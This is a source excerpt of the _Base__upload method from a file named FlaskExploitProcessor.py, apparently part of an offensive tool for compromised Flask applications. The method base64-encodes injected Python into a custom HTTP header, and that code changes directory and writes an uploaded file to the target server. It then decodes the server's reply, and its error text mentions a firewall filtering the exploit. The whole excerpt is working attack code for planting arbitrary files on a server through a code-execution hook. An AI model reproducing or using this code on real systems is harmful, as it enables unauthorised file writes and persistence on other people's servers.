Method _Base__upload

src/FlaskExploitProcessor.py:220–271

(self, options: str)

    @brief See base class for details.
    """
    def _Base__upload(self, options: str):
        if len(options) == 0:
            raise CommandException("Specify a file to upload.")
        local_file_path = Path(options)
        if not local_file_path.exists():
            raise CommandException("File does not exist.")
        if not local_file_path.is_file():
            raise CommandException("File is not a file.")
        
        url = f"{self.host}{self.path}"
        if not self.host.startswith("http"):
            url = "http://" + url
        try:
            if (self.__file_exists(local_file_path.name)):
                choice = input("Override existing file? [y/N] ")
                if not choice.lower().startswith('y'):
                    return
                
            message = (
                f"global r;\n"
                f"try:"
                    f"\t__import__('os').chdir('{self.directory}');"
                    f"r={self.flask_object}.make_response("
                    f"{self.flask_object},'');"
                    f"open('{options}','wb').write("
                        f"request.get_data(cache=False));"
                    f"r.headers['{self.header}']='RG9uZS4=';\n"
                f"except Exception as e:\n"
                    f"\tr.headers['{self.header}']=__import__('base64')."
                    f"b64encode(str(e).encode());")
            print("Uploading file...")
            binary = local_file_path.read_bytes()

            response = requests.request(
                self.method,
                url,
                headers={ f"{self.header}":
                            base64.b64encode(message.encode()).decode() },
                data=binary
            )
            if not response.ok:
                raise Exception()
            if not self.header in response.headers:
                raise CommandException(
                    f"No message sent back from server, your exploit is "
                    f"probably being filtered by a firewall.")

            print(base64.b64decode(response.headers[self.header]
                                   .encode())
                                   .decode())
        except:
            raise CommandException(f"Message was not successfully processed.")

    """
    @brief See base class for details.